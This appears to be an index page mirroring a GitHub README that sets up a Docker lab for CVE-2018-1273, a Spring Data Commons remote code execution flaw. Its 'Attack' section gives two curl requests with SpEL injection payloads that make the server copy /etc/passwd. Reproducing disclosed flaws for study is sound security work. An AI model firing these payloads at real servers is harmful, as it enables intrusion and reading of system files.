https://github.com/knqyf263/cve-2018-1273

Environment for CVE-2018-1273 (Spring Data Commons)
https://github.com/knqyf263/cve-2018-1273

Last synced: about 1 month ago
JSON representation

Environment for CVE-2018-1273 (Spring Data Commons)

• Host: GitHub
• URL: https://github.com/knqyf263/cve-2018-1273
• Owner: knqyf263
• Created: 2018-04-13T13:41:02.000Z (over 6 years ago)
• Default Branch: master
• Last Pushed: 2018-08-15T05:26:45.000Z (about 6 years ago)
• Last Synced: 2023-07-31T16:17:08.182Z (over 1 year ago)
• Language: Dockerfile
• Homepage:
• Size: 4.88 KB
• Stars: 9
• Watchers: 2
• Forks: 2
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# CVE-2018-1273

Environment for CVE-2018-1273

CVE-2018-1273: RCE with Spring Data Commons  

https://pivotal.io/security/cve-2018-1273

## Application

https://github.com/spring-projects/spring-data-examples/tree/master/web/example

## Build

```

$ docker build -t cve-2018-1273 .

```

## Run

```

$ docker run -d -p 8080:8080 cve-2018-1273 

```

## Web

http://localhost:8080/users/

## Attack

```

$ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/' 

```

or

```

$ curl -v -d 'username[T(java.lang.Runtime).getRuntime().exec("cp+/etc/passwd+/tmp")]=test' 'http://localhost:8080/users/' 

```